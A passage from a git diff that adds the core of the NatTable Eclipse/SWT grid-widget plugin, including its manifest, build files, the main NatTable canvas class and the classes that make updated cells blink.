net.sourceforge.nattable.tickupdate.action, + net.sourceforge.nattable.tickupdate.command, + net.sourceforge.nattable.tickupdate.config, + net.sourceforge.nattable.ui, + net.sourceforge.nattable.ui.action, + net.sourceforge.nattable.ui.binding, + net.sourceforge.nattable.ui.matcher, + net.sourceforge.nattable.ui.menu, + net.sourceforge.nattable.ui.mode, + net.sourceforge.nattable.ui.util, + net.sourceforge.nattable.util, + net.sourceforge.nattable.viewport, + net.sourceforge.nattable.viewport.action, + net.sourceforge.nattable.viewport.command, + net.sourceforge.nattable.viewport.event, + net.sourceforge.nattable.widget +Require-Bundle: org.eclipse.core.runtime, + org.eclipse.jface;bundle-version="3.7.0" +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Import-Package: net.sourceforge.nattable.selection.command, + net.sourceforge.nattable.style.editor, + org.apache.commons.lang, + org.apache.commons.lang.builder, + org.apache.commons.logging, + org.eclipse.core.runtime, + org.eclipse.jface.dialogs, + org.eclipse.jface.layout, + org.eclipse.jface.resource, + org.eclipse.jface.viewers, + org.eclipse.swt, + org.eclipse.swt.custom, + org.eclipse.swt.dnd, + org.eclipse.swt.events, + org.eclipse.swt.graphics, + org.eclipse.swt.layout, + org.eclipse.swt.printing, + org.eclipse.swt.widgets +Eclipse-ExtensibleAPI: true diff --git a/others/net.sourceforge.nattable.core/build.properties b/others/net.sourceforge.nattable.core/build.properties new file mode 100644 index 0000000..e9863e2 --- /dev/null +++ b/others/net.sourceforge.nattable.core/build.properties @@ -0,0 +1,5 @@ +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + .,\ + plugin.xml diff --git a/others/net.sourceforge.nattable.core/pom.xml b/others/net.sourceforge.nattable.core/pom.xml new file mode 100644 index 0000000..86ba871 --- /dev/null +++ b/others/net.sourceforge.nattable.core/pom.xml @@ -0,0 +1,16 @@ + + + 4.0.0 + + + net.sourceforge.nattable + parent + 2.1.0-SNAPSHOT + + + net.sourceforge.nattable.core + + eclipse-plugin + + + diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/NatTable.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/NatTable.java new file mode 100644 index 0000000..5c4b6f2 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/NatTable.java @@ -0,0 +1,681 @@ +package net.sourceforge.nattable; + +import java.util.ArrayList; +import java.util.Collection; +import java.util.HashSet; +import java.util.LinkedList; +import java.util.List; +import java.util.Properties; + +import net.sourceforge.nattable.command.DisposeResourcesCommand; +import net.sourceforge.nattable.command.ILayerCommand; +import net.sourceforge.nattable.config.ConfigRegistry; +import net.sourceforge.nattable.config.DefaultNatTableStyleConfiguration; +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.config.IConfiguration; +import net.sourceforge.nattable.conflation.EventConflaterChain; +import net.sourceforge.nattable.conflation.VisualChangeEventConflater; +import net.sourceforge.nattable.coordinate.Range; +import net.sourceforge.nattable.edit.ActiveCellEditor; +import net.sourceforge.nattable.edit.InlineCellEditController; +import net.sourceforge.nattable.grid.command.ClientAreaResizeCommand; +import net.sourceforge.nattable.grid.command.InitializeGridCommand; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.ILayerListener; +import net.sourceforge.nattable.layer.LabelStack; +import net.sourceforge.nattable.layer.cell.LayerCell; +import net.sourceforge.nattable.layer.event.ILayerEvent; +import net.sourceforge.nattable.layer.event.IVisualChangeEvent; +import net.sourceforge.nattable.layer.stack.DummyGridLayerStack; +import net.sourceforge.nattable.painter.IOverlayPainter; +import net.sourceforge.nattable.painter.layer.ILayerPainter; +import net.sourceforge.nattable.persistence.IPersistable; +import net.sourceforge.nattable.ui.binding.UiBindingRegistry; +import net.sourceforge.nattable.ui.mode.ConfigurableModeEventHandler; +import net.sourceforge.nattable.ui.mode.Mode; +import net.sourceforge.nattable.ui.mode.ModeSupport; +import net.sourceforge.nattable.util.GUIHelper; +import net.sourceforge.nattable.util.IClientAreaProvider; +import net.sourceforge.nattable.viewport.command.RecalculateScrollBarsCommand; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.FocusEvent; +import org.eclipse.swt.events.FocusListener; +import org.eclipse.swt.events.PaintEvent; +import org.eclipse.swt.events.PaintListener; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.widgets.Canvas; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Listener; +import org.eclipse.swt.widgets.ScrollBar; + +public class NatTable extends Canvas implements ILayer, PaintListener, IClientAreaProvider, ILayerListener, IPersistable { + + public static final int DEFAULT_STYLE_OPTIONS = SWT.NO_BACKGROUND | SWT.NO_REDRAW_RESIZE | SWT.DOUBLE_BUFFERED | SWT.V_SCROLL | SWT.H_SCROLL; + + private UiBindingRegistry uiBindingRegistry; + + private ModeSupport modeSupport; + + private final EventConflaterChain conflaterChain = new EventConflaterChain(); + + private final List overlayPainters = new ArrayList(); + + private final List persistables = new LinkedList(); + + private ILayer underlyingLayer; + + private IConfigRegistry configRegistry; + + private final Collection configurations = new LinkedList(); + + protected String id = GUIHelper.getSequenceNumber(); + + private ILayerPainter layerPainter = new NatLayerPainter(); + + private final boolean autoconfigure; + + public NatTable(Composite parent) { + this(parent, DEFAULT_STYLE_OPTIONS); + } + + /** + * @param parent widget for the table. + * @param autoconfigure if set to False + * - No auto configuration is done + * - Default settings are not loaded. Configuration(s) have to be manually + * added by invoking addConfiguration(). At the minimum the {@link DefaultNatTableStyleConfiguration} + * must be added for the table to render. + */ + public NatTable(Composite parent, boolean autoconfigure) { + this(parent, DEFAULT_STYLE_OPTIONS, autoconfigure); + } + + public NatTable(Composite parent, ILayer layer) { + this(parent, DEFAULT_STYLE_OPTIONS, layer); + } + + public NatTable(Composite parent, ILayer layer, boolean autoconfigure) { + this(parent, DEFAULT_STYLE_OPTIONS, layer, autoconfigure); + } + + public NatTable(Composite parent, final int style) { + this(parent, style, new DummyGridLayerStack()); + } + + public NatTable(Composite parent, final int style, boolean autoconfigure) { + this(parent, style, new DummyGridLayerStack(), autoconfigure); + } + + public NatTable(final Composite parent, final int style, ILayer layer) { + this(parent, style, layer, true); + } + + public NatTable(final Composite parent, final int style, final ILayer layer, boolean autoconfigure) { + super(parent, style); + + // Disable scroll bars by default; if a Viewport is available, it will enable the scroll bars + disableScrollBar(getHorizontalBar()); + disableScrollBar(getVerticalBar()); + + initInternalListener(); + + internalSetLayer(layer); + + this.autoconfigure = autoconfigure; + if (autoconfigure) { + configurations.add(new DefaultNatTableStyleConfiguration()); + configure(); + } + + conflaterChain.add(new VisualChangeEventConflater(this)); + conflaterChain.start(); + } + + @Override + public void dispose() { + doCommand(new DisposeResourcesCommand()); + conflaterChain.stop(); + InlineCellEditController.dispose(); + ActiveCellEditor.close(); + super.dispose(); + } + + private void disableScrollBar(ScrollBar scrollBar) { + scrollBar.setMinimum(0); + scrollBar.setMaximum(1); + scrollBar.setThumb(1); + scrollBar.setEnabled(false); + } + + public ILayer getLayer() { + return underlyingLayer; + } + + public void setLayer(ILayer layer) { + if (autoconfigure) { + throw new IllegalStateException("May only set layer post construction if autoconfigure is turned off"); + } + + internalSetLayer(layer); + } + + private void internalSetLayer(ILayer layer) { + if (layer != null) { + this.underlyingLayer = layer; + underlyingLayer.setClientAreaProvider(new IClientAreaProvider() { + + public Rectangle getClientArea() { + if (!isDisposed()) { + return NatTable.this.getClientArea(); + } + else return new Rectangle(0,0,0,0); + } + + }); + underlyingLayer.addLayerListener(this); + } + } + + /** + * Adds a configuration to the table.
    + * + * Configurations are processed when the {@link #configure()} method is invoked.
    + * Each configuration object then has a chance to configure the
    + *
      + *
    1. ILayer
    2. + *
    3. ConfigRegistry
    4. + *
    5. UiBindingRegistry
    6. + *
    + */ + public void addConfiguration(IConfiguration configuration) { + if (autoconfigure) { + throw new IllegalStateException("May only add configurations post construction if autoconfigure is turned off"); + } + + configurations.add(configuration); + } + + /** + * @return {@link IConfigRegistry} used to hold the configuration bindings
    + * by Layer, DisplayMode and Config labels. + */ + public IConfigRegistry getConfigRegistry() { + if (configRegistry == null) { + configRegistry = new ConfigRegistry(); + } + return configRegistry; + } + + public void setConfigRegistry(IConfigRegistry configRegistry) { + if (autoconfigure) { + throw new IllegalStateException("May only set config registry post construction if autoconfigure is turned off"); + } + + this.configRegistry = configRegistry; + } + + /** + * @return Registry holding all the UIBindings contributed by the underlying layers + */ + public UiBindingRegistry getUiBindingRegistry() { + if (uiBindingRegistry == null) { + uiBindingRegistry = new UiBindingRegistry(this); + } + return uiBindingRegistry; + } + + public void setUiBindingRegistry(UiBindingRegistry uiBindingRegistry) { + if (autoconfigure) { + throw new IllegalStateException("May only set UI binding registry post construction if autoconfigure is turned off"); + } + + this.uiBindingRegistry = uiBindingRegistry; + } + + public String getID() { + return id; + } + + @Override + protected void checkSubclass() { + } + + protected void initInternalListener() { + modeSupport = new ModeSupport(this); + modeSupport.registerModeEventHandler(Mode.NORMAL_MODE, new ConfigurableModeEventHandler(modeSupport, this)); + modeSupport.switchMode(Mode.NORMAL_MODE); + + addPaintListener(this); + + addFocusListener(new FocusListener() { + + public void focusLost(final FocusEvent arg0) { + redraw(); + } + + public void focusGained(final FocusEvent arg0) { + redraw(); + } + + }); + + addListener(SWT.Resize, new Listener() { + public void handleEvent(final Event e) { + doCommand(new ClientAreaResizeCommand(NatTable.this)); + } + }); + } + + @Override + public boolean forceFocus() { + return super.forceFocus(); + } + + // Painting /////////////////////////////////////////////////////////////// + + public void addOverlayPainter(IOverlayPainter overlayPainter) { + overlayPainters.add(overlayPainter); + } + + public void removeOverlayPainter(IOverlayPainter overlayPainter) { + overlayPainters.remove(overlayPainter); + } + + public void paintControl(final PaintEvent event) { + paintNatTable(event); + } + + private void paintNatTable(final PaintEvent event) { + getLayerPainter().paintLayer(this, event.gc, 0, 0, new Rectangle(event.x, event.y, event.width, event.height), getConfigRegistry()); + } + + public ILayerPainter getLayerPainter() { + return layerPainter; + } + + public void setLayerPainter(ILayerPainter layerPainter) { + this.layerPainter = layerPainter; + } + + /** + * Repaint only a specific column in the grid. This method is optimized so that only the specific column is + * repainted and nothing else. + * + * @param gridColumnPosition column of the grid to repaint + */ + public void repaintColumn(int columnPosition) { + redraw(getStartXOfColumnPosition(columnPosition), + 0, + getColumnWidthByPosition(columnPosition), + getHeight(), + true); + } + + /** + * Repaint only a specific row in the grid. This method is optimized so that only the specific row is repainted and + * nothing else. + * + * @param gridRowPosition row of the grid to repaint + */ + public void repaintRow(int rowPosition) { + redraw(0, + getStartYOfRowPosition(rowPosition), + getWidth(), + getRowHeightByPosition(rowPosition), + true); + } + + public void updateResize() { + updateResize(true); + } + + /** + * Update the table screen by re-calculating everything again. It should not + * be called too frequently. + * + * @param redraw + * true to redraw the table + */ + private void updateResize(final boolean redraw) { + if (isDisposed()) { + return; + } + doCommand(new RecalculateScrollBarsCommand()); + if (redraw) { + redraw(); + } + } + + public void configure(ConfigRegistry configRegistry, UiBindingRegistry uiBindingRegistry) { + throw new UnsupportedOperationException("Cannot use this method to configure NatTable. Use no-argument configure() instead."); + } + + /** + * Processes all the registered {@link IConfiguration} (s). + * All the underlying layers are walked and given a chance to configure. + * Note: all desired configuration tweaks must be done before this method is invoked. + */ + public void configure() { + if (underlyingLayer == null) { + throw new IllegalStateException("Layer must be set before configure is called"); + } + + if (underlyingLayer != null) { + underlyingLayer.configure((ConfigRegistry) getConfigRegistry(), uiBindingRegistry); + } + + for (IConfiguration configuration : configurations) { + configuration.configureLayer(this); + configuration.configureRegistry(getConfigRegistry()); + configuration.configureUiBindings(uiBindingRegistry); + } + + // Once everything is initialized and properly configured we will + // now formally initialize the grid + doCommand(new InitializeGridCommand(this)); + } + + // Events ///////////////////////////////////////////////////////////////// + + public void handleLayerEvent(ILayerEvent event) { + for (ILayerListener layerListener : listeners) { + layerListener.handleLayerEvent(event); + } + + if (event instanceof IVisualChangeEvent) { + conflaterChain.addEvent(event); + } + } + + protected Rectangle getPixelRectangleFromPositionRectangle(Rectangle positionRectangle){ + int positionRectWidthInPixels = 0; + int positionRectHeightInPixels = 0; + Rectangle pixelRectangle = new Rectangle(0,0,0,0); + + for (int i = positionRectangle.x; i < (positionRectangle.x + positionRectangle.width); i++) { + positionRectWidthInPixels += getColumnWidthByPosition(i); + } + for (int i = positionRectangle.y; i < (positionRectangle.y + positionRectangle.height); i++) { + positionRectHeightInPixels += getRowHeightByPosition(i); + } + + pixelRectangle.x = getStartXOfColumnPosition(positionRectangle.x); + pixelRectangle.y = getStartYOfRowPosition(positionRectangle.y); + pixelRectangle.width = positionRectWidthInPixels; + pixelRectangle.height = positionRectHeightInPixels; + return pixelRectangle; + } + + + // ILayer ///////////////////////////////////////////////////////////////// + + // Persistence + + /** + * Save the state of the table to the properties object. + * {@link ILayer#saveState(String, Properties)} is invoked on all the underlying layers. + * This properties object will be populated with the settings of all underlying layers + * and any {@link IPersistable} registered with those layers. + */ + public void saveState(String prefix, Properties properties) { + underlyingLayer.saveState(prefix, properties); + } + + /** + * Restore the state of the underlying layers from the values in the properties object. + * @see #saveState(String, Properties) + */ + public void loadState(String prefix, Properties properties) { + underlyingLayer.loadState(prefix, properties); + } + + /** + * @see ILayer#registerPersistable(IPersistable) + */ + public void registerPersistable(IPersistable persistable) { + persistables.add(persistable); + } + + public void unregisterPersistable(IPersistable persistable) { + persistables.remove(persistable); + } + + // Command + + public boolean doCommand(ILayerCommand command) { + return underlyingLayer.doCommand(command); + } + + // Events + + private final List listeners = new ArrayList(); + + public void fireLayerEvent(ILayerEvent event) { + underlyingLayer.fireLayerEvent(event); + } + + public void addLayerListener(ILayerListener listener) { + listeners.add(listener); + } + + public void removeLayerListener(ILayerListener listener) { + listeners.remove(listener); + } + + // Columns + + public int getColumnCount() { + return underlyingLayer.getColumnCount(); + } + + public int getPreferredColumnCount() { + return underlyingLayer.getPreferredColumnCount(); + } + + public int getColumnIndexByPosition(int columnPosition) { + return underlyingLayer.getColumnIndexByPosition(columnPosition); + } + + public int localToUnderlyingColumnPosition(int localColumnPosition) { + return localColumnPosition; + } + + public int underlyingToLocalColumnPosition(ILayer sourceUnderlyingLayer, int underlyingColumnPosition) { + if (sourceUnderlyingLayer != underlyingLayer) { + return -1; + } + + return underlyingColumnPosition; + } + + public Collection underlyingToLocalColumnPositions(ILayer sourceUnderlyingLayer, Collection underlyingColumnPositionRanges) { + if (sourceUnderlyingLayer != underlyingLayer) { + return null; + } + + return underlyingColumnPositionRanges; + } + + // Width + + public int getWidth() { + return underlyingLayer.getWidth(); + } + + public int getPreferredWidth() { + return underlyingLayer.getPreferredWidth(); + } + + public int getColumnWidthByPosition(int columnPosition) { + return underlyingLayer.getColumnWidthByPosition(columnPosition); + } + + // Column resize + + public boolean isColumnPositionResizable(int columnPosition) { + return underlyingLayer.isColumnPositionResizable(columnPosition); + } + + // X + + public int getColumnPositionByX(int x) { + return underlyingLayer.getColumnPositionByX(x); + } + + public int getStartXOfColumnPosition(int columnPosition) { + return underlyingLayer.getStartXOfColumnPosition(columnPosition); + } + + // Underlying + + public Collection getUnderlyingLayersByColumnPosition(int columnPosition) { + Collection underlyingLayers = new HashSet(); + underlyingLayers.add(underlyingLayer); + return underlyingLayers; + } + + // Rows + + public int getRowCount() { + return underlyingLayer.getRowCount(); + } + + public int getPreferredRowCount() { + return underlyingLayer.getPreferredRowCount(); + } + + public int getRowIndexByPosition(int rowPosition) { + return underlyingLayer.getRowIndexByPosition(rowPosition); + } + + public int localToUnderlyingRowPosition(int localRowPosition) { + return localRowPosition; + } + + public int underlyingToLocalRowPosition(ILayer sourceUnderlyingLayer, int underlyingRowPosition) { + if (sourceUnderlyingLayer != underlyingLayer) { + return -1; + } + + return underlyingRowPosition; + } + + public Collection underlyingToLocalRowPositions(ILayer sourceUnderlyingLayer, Collection underlyingRowPositionRanges) { + if (sourceUnderlyingLayer != underlyingLayer) { + return null; + } + + return underlyingRowPositionRanges; + } + + // Height + + public int getHeight() { + return underlyingLayer.getHeight(); + } + + public int getPreferredHeight() { + return underlyingLayer.getPreferredHeight(); + } + + public int getRowHeightByPosition(int rowPosition) { + return underlyingLayer.getRowHeightByPosition(rowPosition); + } + + // Row resize + + public boolean isRowPositionResizable(int rowPosition) { + return underlyingLayer.isRowPositionResizable(rowPosition); + } + + // Y + + public int getRowPositionByY(int y) { + return underlyingLayer.getRowPositionByY(y); + } + + public int getStartYOfRowPosition(int rowPosition) { + return underlyingLayer.getStartYOfRowPosition(rowPosition); + } + + // Underlying + + public Collection getUnderlyingLayersByRowPosition(int rowPosition) { + Collection underlyingLayers = new HashSet(); + underlyingLayers.add(underlyingLayer); + return underlyingLayers; + } + + // Cell features + + public LayerCell getCellByPosition(int columnPosition, int rowPosition) { + return underlyingLayer.getCellByPosition(columnPosition, rowPosition); + } + + public Rectangle getBoundsByPosition(int columnPosition, int rowPosition) { + return underlyingLayer.getBoundsByPosition(columnPosition, rowPosition); + } + + public String getDisplayModeByPosition(int columnPosition, int rowPosition) { + return underlyingLayer.getDisplayModeByPosition(columnPosition, rowPosition); + } + + public LabelStack getConfigLabelsByPosition(int columnPosition, int rowPosition) { + return underlyingLayer.getConfigLabelsByPosition(columnPosition, rowPosition); + } + + public Object getDataValueByPosition(int columnPosition, int rowPosition) { + return underlyingLayer.getDataValueByPosition(columnPosition, rowPosition); + } + + // IRegionResolver + + public LabelStack getRegionLabelsByXY(int x, int y) { + return underlyingLayer.getRegionLabelsByXY(x, y); + } + + public class NatLayerPainter implements ILayerPainter { + + public void paintLayer(ILayer natLayer, GC gc, int xOffset, int yOffset, Rectangle rectangle, IConfigRegistry configRegistry) { + try { + gc.setForeground(getForeground()); + gc.setBackground(getBackground()); + + // Clean Background + gc.fillRectangle(rectangle); + + ILayerPainter layerPainter = underlyingLayer.getLayerPainter(); + layerPainter.paintLayer(natLayer, gc, xOffset, yOffset, rectangle, configRegistry); + + // draw overlays + for (IOverlayPainter overlayPainter : overlayPainters) { + overlayPainter.paintOverlay(gc, NatTable.this); + } + } catch (Exception e) { + e.printStackTrace(System.err); + System.err.println("Error while painting table: " + e.getMessage()); + } + } + + public Rectangle adjustCellBounds(Rectangle cellBounds) { + ILayerPainter layerPainter = underlyingLayer.getLayerPainter(); + return layerPainter.adjustCellBounds(cellBounds); + } + + } + + public ILayer getUnderlyingLayerByPosition(int columnPosition, int rowPosition) { + return underlyingLayer; + } + + public IClientAreaProvider getClientAreaProvider() { + return this; + } + + public void setClientAreaProvider(IClientAreaProvider clientAreaProvider) { + throw new UnsupportedOperationException("Cannot set an area provider."); + } +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/blink/BlinkConfigAttributes.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/blink/BlinkConfigAttributes.java new file mode 100644 index 0000000..ddaf483 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/blink/BlinkConfigAttributes.java @@ -0,0 +1,9 @@ +package net.sourceforge.nattable.blink; + +import net.sourceforge.nattable.style.ConfigAttribute; + +public class BlinkConfigAttributes { + + public static final ConfigAttribute BLINK_RESOLVER = new ConfigAttribute(); + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/blink/BlinkLayer.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/blink/BlinkLayer.java new file mode 100644 index 0000000..2524fa3 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/blink/BlinkLayer.java @@ -0,0 +1,209 @@ +package net.sourceforge.nattable.blink; + +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Timer; +import java.util.TimerTask; + +import net.sourceforge.nattable.blink.command.BlinkTimerEnableCommandHandler; +import net.sourceforge.nattable.blink.event.BlinkEvent; +import net.sourceforge.nattable.config.ConfigRegistry; +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.coordinate.IndexCoordinate; +import net.sourceforge.nattable.data.IColumnPropertyResolver; +import net.sourceforge.nattable.data.IDataProvider; +import net.sourceforge.nattable.data.IRowDataProvider; +import net.sourceforge.nattable.data.IRowIdAccessor; +import net.sourceforge.nattable.layer.AbstractLayerTransform; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.IUniqueIndexLayer; +import net.sourceforge.nattable.layer.LabelStack; +import net.sourceforge.nattable.layer.event.ILayerEvent; +import net.sourceforge.nattable.layer.event.PropertyUpdateEvent; +import net.sourceforge.nattable.style.DisplayMode; + +import org.eclipse.swt.widgets.Display; + +/** + * Blinks cells when they are updated. + * Returns blinking cell styles for the cells which have been updated. + * + * Every time its asked for config labels: + * Checks the UpdateEventsCache for changes to the cell + * If a cell is updated + * The cell is tracked as 'blinking' and blinking config labels are returned + * A TimerTask is started which will stop the blinking after the blink period is over + * + * @param Type of the Bean in the backing {@linkplain IDataProvider} + */ +public class BlinkLayer extends AbstractLayerTransform implements IUniqueIndexLayer { + + private final IUniqueIndexLayer dataLayer; + private final IRowDataProvider rowDataProvider; + private final IConfigRegistry configRegistry; + private final IRowIdAccessor rowIdAccessor; + private Timer stopBlinkTimer; + + protected boolean blinkingEnabled = true; + + /** Cache all the update events allowing the layer to track what got updated */ + private final UpdateEventsCache updateEventsCache; + + /** Duration of a single blink */ + private int blinkDurationInMilis = 1000; + + /** Track the updates which are currently blinking */ + Map> blinkingUpdates = new HashMap>(); + + /** Track the blinking TimerTasks which are currently running*/ + Map blinkingTasks = new HashMap(); + + public BlinkLayer(IUniqueIndexLayer dataLayer, + IRowDataProvider listDataProvider, + IRowIdAccessor rowIdAccessor, + IColumnPropertyResolver columnPropertyResolver, + IConfigRegistry configRegistry) { + super(dataLayer); + this.dataLayer = dataLayer; + this.rowDataProvider = listDataProvider; + this.rowIdAccessor = rowIdAccessor; + this.configRegistry = configRegistry; + this.updateEventsCache = new UpdateEventsCache(rowIdAccessor, columnPropertyResolver); + + registerCommandHandler(new BlinkTimerEnableCommandHandler(this)); + } + + @Override + public LabelStack getConfigLabelsByPosition(int columnPosition, int rowPosition) { + if (!blinkingEnabled) { + return getUnderlyingLayer().getConfigLabelsByPosition(columnPosition, rowPosition); + } + + int rowIndex = getUnderlyingLayer().getRowIndexByPosition(rowPosition); + int columnIndex = getUnderlyingLayer().getColumnIndexByPosition(columnPosition); + + String rowId = rowIdAccessor.getRowId(rowDataProvider.getRowObject(rowIndex)).toString(); + String key = updateEventsCache.getKey(columnIndex, rowId); + + LabelStack underlyingLabelStack = getUnderlyingLayer().getConfigLabelsByPosition(columnPosition, rowPosition); + IndexCoordinate coordinate = new IndexCoordinate(columnIndex, rowIndex); + + // Cell has been updated + if (updateEventsCache.isUpdated(key)) { + PropertyUpdateEvent event = updateEventsCache.getEvent(key); + + // Old update in middle of a blink - cancel it + if (blinkingUpdates.containsKey(key)) { + blinkingTasks.get(key).cancel(); + getStopBlinkTimer().purge(); + blinkingTasks.remove(key); + blinkingUpdates.remove(key); + } + + LabelStack blinkingConfigTypes = resolveConfigTypes(event.getOldValue(), event.getNewValue(), coordinate, getUnderlyingLayer()); + + // start blinking cell + if (blinkingConfigTypes != null) { + TimerTask stopBlinkTask = getStopBlinkTask(key, this); + blinkingUpdates.put(key, event); + blinkingTasks.put(key, stopBlinkTask); + updateEventsCache.remove(key); + getStopBlinkTimer().schedule(stopBlinkTask, blinkDurationInMilis); + return blinkingConfigTypes; + } else { + return new LabelStack(); + } + } + // Previous blink timer is still running + if (blinkingUpdates.containsKey(key)) { + PropertyUpdateEvent event = blinkingUpdates.get(key); + return resolveConfigTypes(event.getOldValue(), event.getNewValue(), coordinate, getUnderlyingLayer()); + + } + return underlyingLabelStack; + } + + private IBlinkingCellResolver getBlinkingCellResolver(List configTypes) { + return configRegistry.getConfigAttribute(BlinkConfigAttributes.BLINK_RESOLVER, DisplayMode.NORMAL, configTypes); + } + + /** + * Find the {@link IBlinkingCellResolver} from the {@link ConfigRegistry}. + * Use the above to find the config types associated with a blinking cell. + */ + public LabelStack resolveConfigTypes(Object oldValue, Object newValue, final IndexCoordinate coordinate, ILayer underlyingLayer) { + // Acquire default config types for the coordinate. Use these to search for the associated resolver. + LabelStack underlyingLabelStack = underlyingLayer.getConfigLabelsByPosition(coordinate.columnIndex, coordinate.rowIndex); + + IBlinkingCellResolver resolver = getBlinkingCellResolver(underlyingLabelStack.getLabels()); + String[] blinkConfigTypes = null; + if (resolver != null) { + blinkConfigTypes = resolver.resolve(oldValue, newValue); + } + if(blinkConfigTypes != null && blinkConfigTypes.length > 0){ + return new LabelStack(blinkConfigTypes); + } + return null; + } + + /** + * Stops the cell from blinking at the end of the blinking period. + */ + private TimerTask getStopBlinkTask(final String key, final ILayer layer) { + + return new TimerTask() { + @Override + public void run() { + blinkingUpdates.remove(key); + blinkingTasks.remove(key); + if (blinkingTasks.isEmpty()) { + stopBlinkTimer.cancel(); + stopBlinkTimer = null; + } + + Display.getDefault().asyncExec(new Runnable() { + + public void run() { + fireLayerEvent(new BlinkEvent(layer)); + } + + }); + } + }; + + } + + public Timer getStopBlinkTimer() { + if (stopBlinkTimer == null) { + stopBlinkTimer = new Timer("Stop Blink Task Timer"); + } + return stopBlinkTimer; + } + + @SuppressWarnings("unchecked") + @Override + public void handleLayerEvent(ILayerEvent event) { + if (event instanceof PropertyUpdateEvent) { + updateEventsCache.put((PropertyUpdateEvent) event); + } + super.handleLayerEvent(event); + } + + public void setBlinkingEnabled(boolean enabled) { + this.blinkingEnabled = enabled; + } + + public int getColumnPositionByIndex(int columnIndex) { + return dataLayer.getColumnPositionByIndex(columnIndex); + } + + public int getRowPositionByIndex(int rowIndex) { + return dataLayer.getRowPositionByIndex(rowIndex); + } + + public void setBlinkDurationInMilis(int blinkDurationInMilis) { + this.blinkDurationInMilis = blinkDurationInMilis; + } + +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/blink/IBlinkingCellResolver.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/blink/IBlinkingCellResolver.java new file mode 100644 index 0000000..3c3a981 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/blink/IBlinkingCellResolver.java @@ -0,0 +1,16 @@ +package net.sourceforge.nattable.blink; + +/** + * This interface is used to determine whether a change requires a blink. + * This is a way to add thresholds to blinking. + */ +public interface IBlinkingCellResolver { + + /** + * @param oldValue + * @param newValue + * @return Possibly the config type associated with the blinking style. + */ + public String[] resolve(Object oldValue, Object newValue); + +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/blink/UpdateEventsCache.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/blink/UpdateEventsCache.java new file mode 100644 index 0000000..d0695ed --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/blink/UpdateEventsCache.java @@ -0,0 +1,135 @@ +package net.sourceforge.nattable.blink; + +import java.util.Date; +import java.util.HashMap; +import java.util.Map; +import java.util.concurrent.Executors; +import java.util.concurrent.ScheduledExecutorService; +import java.util.concurrent.TimeUnit; + +import net.sourceforge.nattable.data.IColumnPropertyResolver; +import net.sourceforge.nattable.data.IRowIdAccessor; +import net.sourceforge.nattable.layer.event.PropertyUpdateEvent; + +/** + * Cache for the update events coming in. + * + * This cache is used by the {@link BlinkLayer} to check if updates are + * available for a cell (hence, does it need to blink). + * + * @param Type of the Bean in the backing list. + */ +public class UpdateEventsCache { + + /** Initial startup delay for the expired event removal task */ + public static final int INITIAL_DELAY = 100; + + /** TTL for an event in the cache. The event is deleted when this expires */ + public static final int TIME_TO_LIVE = 500; + + private final IRowIdAccessor rowIdAccessor; + private final IColumnPropertyResolver columnPropertyAccessor; + + private Map updateEvents; + + private ScheduledExecutorService cleanupScheduler; + + public UpdateEventsCache(IRowIdAccessor rowIdAccessor, IColumnPropertyResolver columnPropertyAccessor) { + this.rowIdAccessor = rowIdAccessor; + this.columnPropertyAccessor = columnPropertyAccessor; + this.updateEvents = new HashMap(); + } + + /** + * We are not interested in update events which are too old and need not be blinked. + * This task cleans them up, by looking at the received time stamp. + */ + private Runnable getStaleUpdatesCleanupTask() { + return new Runnable(){ + + public void run() { + Map recentEvents = new HashMap(); + Date recent = new Date(System.currentTimeMillis() - TIME_TO_LIVE); + + for (Map.Entry entry : updateEvents.entrySet()) { + if (entry.getValue().timeRecieved.after(recent)) { + recentEvents.put(entry.getKey(), entry.getValue()); + } + } + synchronized (updateEvents) { + updateEvents = recentEvents; + checkUpdateEvents(); + } + } + + }; + } + + private void checkUpdateEvents() { + if (updateEvents.isEmpty()) { + cleanupScheduler.shutdownNow(); + cleanupScheduler = null; + } else { + if (cleanupScheduler == null) { + cleanupScheduler = Executors.newScheduledThreadPool(1); + cleanupScheduler.scheduleAtFixedRate(getStaleUpdatesCleanupTask(), INITIAL_DELAY, TIME_TO_LIVE, TimeUnit.MILLISECONDS); + } + } + } + + public void put(PropertyUpdateEvent event) { + String key = getKey(event); + updateEvents.put(key, new TimeStampedEvent(event)); + checkUpdateEvents(); + } + + protected String getKey(PropertyUpdateEvent event) { + int columnIndex = columnPropertyAccessor.getColumnIndex(event.getPropertyName()); + String rowId = rowIdAccessor.getRowId(event.getSourceBean()).toString(); + return getKey(columnIndex, rowId); + } + + public String getKey(int columnIndex, String rowId) { + return columnIndex + "-" + rowId; + } + + public PropertyUpdateEvent getEvent(String key){ + return updateEvents.get(key).event; + } + + public int getCount() { + return updateEvents.size(); + } + + public boolean contains(int columnIndex, String rowId) { + return updateEvents.containsKey(getKey(columnIndex, rowId)); + } + + public boolean 